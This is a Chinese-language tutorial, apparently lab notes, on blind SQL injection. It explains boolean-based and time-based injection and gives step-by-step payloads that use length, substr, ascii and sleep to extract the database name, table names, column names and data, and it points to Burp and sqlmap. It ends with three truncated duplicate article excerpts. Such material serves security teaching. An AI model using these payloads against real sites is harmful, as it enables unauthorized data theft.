注入攻擊的本質,是把使用者輸入的資料當做**執行.
1.是使用者能夠控制輸入
2.是原本程式要執行的**,拼接了使用者輸入的資料.
盲注布林盲注:
order by ,沒有顯示注入點
對錯只顯示有無資料
延時盲注:頁面無論怎麼搞都不變
盲注需要掌握的幾個函式
length()返回字串的長度
substr(str,pos,len)擷取字串
ascii()返回字元的ascii碼
sleep()將程式休眠n秒
if(1,2,3)如果1正確就執行2,否則執行3
題目1:
布林盲注 :
1. and length(database())>1 通過二分法得到資料庫名的長度
#當前庫名長度12個字元
2. and ascii(substr(database(),1,1))>100
#=107是有資料,所有第乙個字元為k 107(ascii)
#同理推出剩餘11個字元.
3. and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
#返回正常,說明表名的第乙個的第一位是e
4. and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102 --+
#返回正常,說明zkaq表中的列名稱第一位是f
5. and (ascii(substr((select zkaq from zkaq limit 4,1),1,1)))=122 --+
#返回正常,zkaq列的第一位是z
效率太慢,使用burp工具,sqlmap.
--flush -session 忽略快取,繼續測試
題目2:
延時盲注 :
1." and if(length(database())>1,sleep(5),1) -- qwe
#如果頁面轉圈5s,則存在延時注入
#>1000 ,如果頁面秒回,則不存在延時注入
效率太慢,使用burp工具,sqlmap.
sql注入 盲注
一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...
sql注入 盲注
一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...
SQL注入 盲注
遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...